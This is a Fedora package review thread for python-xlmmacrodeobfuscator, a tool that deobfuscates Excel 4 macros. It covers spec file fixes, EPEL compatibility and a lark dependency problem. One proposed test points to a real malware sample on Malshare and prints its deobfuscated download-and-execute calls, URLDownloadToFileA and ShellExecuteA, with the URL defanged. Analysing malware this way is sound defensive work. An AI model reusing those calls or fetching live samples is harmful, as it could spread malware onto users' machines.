Bug 2245786

This package built on koji:  https://koji.fedoraproject.org/koji/taskinfo?taskID=108021352

Unofficial and incomplete initial review of the spec file:

> License:        Apache License 2.0

This needs to use an SPDX identifier. See https://docs.fedoraproject.org/en-US/legal/license-field/

Also more often than not, a program isn't really under just one license, but oftentimes includes code from other projects under various other licenses. Any files that ultimately end up in the binary RPM in one form or another need to have their licenses listed here.

> %{?python_provide:%python_provide python%{python3_pkgversion}-xlmmacrodeobfuscator}

Can you replace this with %py_provides somehow? %python_provide was deprecated even in the 201x-era Python packaging guidelines (https://docs.fedoraproject.org/en-US/packaging-guidelines/Python_201x/), and those guidelines are now old and deprecated at this point, so %python_provide is like **really** deprecated now. See https://docs.fedoraproject.org/en-US/packaging-guidelines/Python/#_provides_and_requirements for how to use %py_provides.

> BuildRequires:  python%{python3_pkgversion}-devel

I think you need to spell out "python3-devel" here rather than using the macro. "Every package that uses Python (at runtime and/or build time) and/or installs Python modules MUST explicitly include BuildRequires: python3-devel in its .spec file, even if Python is not actually invoked during build time." (From https://docs.fedoraproject.org/en-US/packaging-guidelines/Python/#_distro_wide_guidelines)

Copr build:
https://copr.fedorainfracloud.org/coprs/build/6563210
(succeeded)

Review template:
https://download.copr.fedorainfracloud.org/results/@fedora-review/fedora-review-2245786-python-xlmmacrodeobfuscator/fedora-rawhide-x86_64/06563210-python-xlmmacrodeobfuscator/fedora-review/review.txt

Please take a look if any issues were found.

---
This comment was created by the fedora-review-service
https://github.com/FrostyX/fedora-review-service

If you want to trigger a new Copr build, add a comment containing new
Spec and SRPM URLs or [fedora-review-service-build] string.

> > License:        Apache License 2.0
changed from long to short SPDX identifier

> > %{?python_provide:%python_provide python%{python3_pkgversion}-xlmmacrodeobfuscator}
> > BuildRequires:  python%{python3_pkgversion}-devel
> I think you need to spell out "python3-devel" here rather than using the
I am planning to support the EPEL from RHEL7, on RHEL this macro translates the package name to python36-something
instead of just python3-something.
I noticed bigger problem ... I was actually missing the camelcasing which was the reason for explicitly adding that.

 
> Can you replace this with %py_provides somehow? %python_provide was
> deprecated even in the 201x-era Python packaging guidelines
Again something for EPEL package ... there is only python_provide on EPEL.
Lets make condition for that to be clear.


Spec URL: https://rebus.fedorapeople.org/python-xlmmacrodeobfuscator.spec
SRPM URL: https://rebus.fedorapeople.org/python-xlmmacrodeobfuscator-0.2.7-1.fc38.src.rpm

Copr build:
https://copr.fedorainfracloud.org/coprs/build/6567936
(succeeded)

Review template:
https://download.copr.fedorainfracloud.org/results/@fedora-review/fedora-review-2245786-python-xlmmacrodeobfuscator/fedora-rawhide-x86_64/06567936-python-xlmmacrodeobfuscator/fedora-review/review.txt

Please take a look if any issues were found.

---
This comment was created by the fedora-review-service
https://github.com/FrostyX/fedora-review-service

If you want to trigger a new Copr build, add a comment containing new
Spec and SRPM URLs or [fedora-review-service-build] string.

As this is really specific tool here I proposed test case to test that the tool does what it is supposed to do.
(BEWARE!!!) It is using real malware for test, so handle with care. Download of the second stage is not active now, but still I am de-fanging the malicious URL in the example bellow.

Test1 based on Dider Stevens diary https://isc.sans.edu/diary/Excel+4+Macro+Analysis+XLMMacroDeobfuscator/26110

1) download malware sample from Malshare (need to register)
https://malshare.com/sample.php?action=detail&hash=0be6ece31de89f3efb4125e086416ffc
https://malshare.com/sampleshare.php?action=getfile&hash=01558388b33abe05f25afb6e96b0c899221fe75b037c088fa60fe8bbf668f606

2) (OPTIONAL) check that it really contains the obfuscated code in the worksheet cells (using the DidierStevensSuite)
This step is optional as this particular sample IS obfuscated and was already publicly analyzed
$ zipdump.py -s 5 -d 01558388b33abe05f25afb6e96b0c899221fe75b037c088fa60fe8bbf668f606.xlsx |xmldump.py celltext| grep -e CALL
BC1986,"CALL($EB$661,$AE$429,$FK$1459,0,$BB$54,$CB$1256,0,0)",0
BC1987,"CALL($BO$1913,$GM$1203,$CF$742,0,$IO$1228,$GC$1642,,0,0)",0

3) check that the xlmdeobfuscator really gives the deobfuscated value
$ xlmdeobfuscator -f 01558388b33abe05f25afb6e96b0c899221fe75b037c088fa60fe8bbf668f606.xlsx | grep -e CALL
CELL:BC1986    , FullEvaluation      , CALL("URLMON","URLDownloadToFileA","JJCCJJ",0,"http://service.pandtelectric[.]com/fattura.exe","C:\ProgramData\jeTneVi.exe",0,0)
CELL:BC1987    , FullEvaluation      , CALL("Shell32","ShellExecuteA","JJCCCCJ",0,"Open","C:\ProgramData\jeTneVi.exe",,0,0)

This is an automatic check from review-stats script.

This review request ticket hasn't been updated for some time. We're sorry
it is taking so long. If you're still interested in packaging this software
into Fedora repositories, please respond to this comment clearing the
NEEDINFO flag.

You may want to update the specfile and the src.rpm to the latest version
available and to propose a review swap on Fedora devel mailing list to increase
chances to have your package reviewed. If this is your first package and you
need a sponsor, you may want to post some informal reviews. Read more at
https://fedoraproject.org/wiki/How_to_get_sponsored_into_the_packager_group.

Without any reply, this request will shortly be considered abandoned
and will be closed.
Thank you for your patience.

Yes ... still interested in having the package in Fedora. 

Although I have to admit it currently works only in EPEL8 environment (which I plan to support as well) as there is the old lark-parser.
With current version of lark in Fedora (lark-parser got renamed to lark) there is some API compatibility issue,
which makes the tool install and run, but, deobfuscation seems to be failing depending on particular sample.
(tested in Fedora 41 python3-lark package version 1.1.9).

On current Fedora workaround is currently post installing the old lark-parser python module with pip in the user environment. 
pip3 install lark-parser

I still need to find how to patch it for current lark version.

Hello,
yes I am still interested in the package.